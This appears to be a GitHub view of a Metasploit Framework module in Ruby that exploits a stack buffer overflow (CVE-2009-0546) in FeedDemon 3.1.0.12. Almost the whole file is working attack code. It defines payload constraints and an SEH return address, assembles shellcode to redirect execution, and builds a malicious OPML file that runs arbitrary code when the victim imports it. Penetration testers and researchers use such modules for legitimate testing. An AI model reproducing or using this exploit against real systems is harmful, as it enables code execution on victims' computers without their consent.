metasploit-framework/modules/exploits/windows/fileformat/feeddemon_opml.rb

136 lines
4.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'FeedDemon Stack Buffer Overflow',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application
is used to import a specially crafted opml file, a buffer overflow occurs allowing
arbitrary code execution.
All versions are suspected to be vulnerable. This vulnerability was originally reported
against version 2.7 in February of 2009.
},
'License' => MSF_LICENSE,
'Author' =>
[
'fl0 fl0w', # Original Exploit
'dookie', # MSF Module
'jduck' # SEH + AlphanumMixed fixes
],
'References' =>
[
[ 'CVE', '2009-0546' ],
[ 'OSVDB', '51753' ],
2013-08-30 21:28:54 +00:00
[ 'BID', '33630' ],
[ 'EDB', '7995' ],
[ 'EDB', '8010' ],
[ 'EDB', '11379' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff",
'DisableNops' => true,
# We are not strictly limited to alphanumeric. However, currently
# no encoder can handle our bad character set.
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
# Tested OK on XPSP3 - jduck
[ 'Windows Universal',
{
'Ret' => 0x00501655 # p/p/r in FeedDemon.exe v3.1.0.12
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 09 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']),
], self.class)
end
def exploit
head_opml = '<opml version="1.1">'
head_opml << '<body>'
head_opml << '<outline text="'
header = "\xff\xfe" # Unicode BOM
header << Rex::Text.to_unicode(head_opml)
foot_opml = '">'
foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>'
foot_opml << '</outline>'
foot_opml << '</body>'
foot_opml << '</opml>'
footer = Rex::Text.to_unicode(foot_opml)
# Set ECX to point to the alphamixed encoded buffer (IIIII...)
# We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8
off = 0x1ff2
set_ecx_asm = %Q|
mov ecx, [esp+8]
sub ecx, #{0x01010101 + off}
add ecx, 0x01010101
|
set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string
# Jump back to the payload, after p/p/r jumps to us.
# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..
# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself
distance = 0x1ffd + 8 + 5
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
# SEH
seh_frame = generate_seh_record(target.ret)
# Assemble everything together
sploit = ''
sploit << set_ecx
sploit << payload.encoded
sploit << rand_text_alphanumeric(8194 - sploit.length)
sploit << seh_frame
sploit << jmp_back
sploit << rand_text_alphanumeric(8318 - sploit.length)
# Ensure access violation reading from smashed pointer
num = rand_text(4).unpack('V')[0]
sploit << [num | 0x80000000].pack('V')
evil = header + sploit + footer
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(evil)
end
end